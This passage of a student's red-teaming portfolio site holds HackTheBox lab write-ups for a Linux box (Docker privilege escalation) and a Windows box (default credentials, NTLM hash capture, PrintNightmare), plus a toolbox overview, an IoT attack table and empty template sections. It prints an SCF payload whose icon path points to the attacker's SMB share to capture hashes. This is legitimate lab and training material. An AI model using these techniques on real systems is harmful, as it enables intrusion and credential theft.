"Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> 